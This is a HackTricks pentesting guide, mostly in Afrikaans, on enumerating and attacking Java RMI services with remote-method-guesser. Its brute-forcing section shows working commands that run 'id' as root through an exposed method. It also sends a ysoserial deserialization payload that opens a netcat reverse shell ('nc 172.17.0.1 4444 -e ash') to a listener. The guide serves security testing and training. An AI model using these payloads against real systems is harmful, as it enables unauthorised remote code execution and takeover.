hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

19 KiB

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}

Basic Information

Java Remote Method Invocation, of Java RMI, is 'n objek-georiënteerde RPC meganisme wat 'n objek wat in een Java virtuele masjien geleë is, in staat stel om metodes op 'n objek wat in 'n ander Java virtuele masjien geleë is, aan te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objek-georiënteerde paradigma. 'n Kort inleiding tot Java RMI vanuit 'n offensiewe perspektief kan gevind word in hierdie blackhat praatjie.

Default port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Gewoonlik is slegs die standaard Java RMI komponente (die RMI Registry en die Activation System) aan algemene poorte gebind. Die remote objects wat die werklike RMI toepassing implementeer, is gewoonlik aan ewekansige poorte gebind soos in die bogenoemde uitvoer getoon.

nmap het soms probleme om SSL beskermde RMI dienste te identifiseer. As jy 'n onbekende ssl diens op 'n algemene RMI poort teëkom, moet jy verder ondersoek instel.

RMI Komponente

Om dit eenvoudig te stel, laat Java RMI 'n ontwikkelaar toe om 'n Java object op die netwerk beskikbaar te stel. Dit maak 'n TCP poort oop waar kliënte kan aansluit en metodes op die ooreenstemmende objek kan aanroep. Alhoewel dit eenvoudig klink, is daar verskeie uitdagings wat Java RMI moet oplos:

  1. Om 'n metode-aanroep via Java RMI te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die ObjID van die geteikende objek ken (die ObjID is 'n unieke en ewekansige identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat Java RMI verskeie objekte toelaat om op dieselfde TCP poort te luister).
  2. Afgeleë kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die Java virtuele masjien moet opspoor watter van hierdie hulpbronne steeds in gebruik is en watter daarvan as rommel versamel kan word.

Die eerste uitdaging word opgelos deur die RMI registry, wat basies 'n naamdiens vir Java RMI is. Die RMI registry self is ook 'n RMI service, maar die geïmplementeerde koppelvlak en die ObjID is vas en bekend aan alle RMI kliënte. Dit laat RMI kliënte toe om die RMI registry te gebruik net deur die ooreenstemmende TCP poort te ken.

Wanneer ontwikkelaars hul Java objects beskikbaar wil stel binne die netwerk, bind hulle dit gewoonlik aan 'n RMI registry. Die registry stoor alle inligting wat benodig word om met die objek te verbind (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die ObjID waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die bound name). Kliënte wat die RMI service wil gebruik, vra die RMI registry vir die ooreenstemmende bound name en die registry keer alle vereiste inligting terug om te verbind. Dus, die situasie is basies dieselfde as met 'n gewone DNS diens. Die volgende lys toon 'n klein voorbeeld:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Die tweede van die bogenoemde uitdagings word opgelos deur die Distributed Garbage Collector (DGC). Dit is 'n ander RMI service met 'n welbekende ObjID waarde en dit is basies op elke RMI endpoint beskikbaar. Wanneer 'n RMI client begin om 'n RMI service te gebruik, stuur dit 'n inligting na die DGC dat die ooreenstemmende remote object in gebruik is. Die DGC kan dan die verwysing telling volg en is in staat om ongebruikte objek te skoonmaak.

Saam met die verouderde Activation System, is dit die drie standaardkomponente van Java RMI:

  1. Die RMI Registry (ObjID = 0)
  2. Die Activation System (ObjID = 1)
  3. Die Distributed Garbage Collector (ObjID = 2)

Die standaardkomponente van Java RMI is al 'n geruime tyd bekende aanvalsvectors en verskeie kwesbaarhede bestaan in verouderde Java weergawes. Vanuit 'n aanvaller se perspektief is hierdie standaardkomponente interessant, omdat hulle bekende klasse / interfaces geïmplementeer het en dit is maklik om met hulle te kommunikeer. Hierdie situasie is anders vir pasgemaakte RMI services. Om 'n metode op 'n remote object aan te roep, moet jy die ooreenstemmende metode-handtekening vooraf ken. Sonder om 'n bestaande metode-handtekening te ken, is daar geen manier om met 'n RMI service te kommunikeer nie.

RMI Enumeration

remote-method-guesser is 'n Java RMI kwesbaarheid skandeerder wat in staat is om algemene RMI kwesbaarhede outomaties te identifiseer. Wanneer jy 'n RMI endpoint identifiseer, moet jy dit probeer:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Die uitvoer van die enumerasie aksie word in meer detail verduidelik in die dokumentasie bladsye van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.

Die ObjID waardes wat deur remote-method-guesser vertoon word, kan gebruik word om die uptime van die diens te bepaal. Dit mag toelaat om ander kwesbaarhede te identifiseer:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Selfs wanneer daar geen kwesbaarhede geïdentifiseer is tydens enumerasie nie, kan die beskikbare RMI dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van RMI kommunikasie na RMI standaardkomponente wat beskerm word deur deserialisering filters, is sulke filters gewoonlik nie in plek wanneer daar met pasgemaakte RMI dienste gepraat word nie. Dit is dus waardevol om geldige metode-handtekeninge op RMI dienste te ken.

Ongelukkig ondersteun Java RMI nie die enumerasie van metodes op remote objects nie. Dit gesê, dit is moontlik om metode-handtekeninge te bruteforce met gereedskap soos remote-method-guesser of rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Gekende metodes kan soos volg aangeroep word:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Of jy kan deserialisering-aanvalle soos volg uitvoer:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Meer inligting kan in hierdie artikels gevind word:

Behalwe om te raai, moet jy ook in soekenjins of GitHub soek vir die interface of selfs die implementering van 'n teëgekomde RMI diens. Die bound name en die naam van die geïmplementeerde klas of interface kan hier nuttig wees.

Bekende Interfaces

remote-method-guesser merk klasse of interfaces as known indien hulle in die hulpmiddel se interne databasis van bekende RMI services gelys is. In hierdie gevalle kan jy die known aksie gebruik om meer inligting oor die ooreenstemmende RMI service te verkry:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Tools

References

HackTricks Outomatiese Opdragte

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Gebruik Trickest om maklik werkvloei te bou en te automate wat aangedryf word deur die wêreld se mees gevorderde gemeenskapstools.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}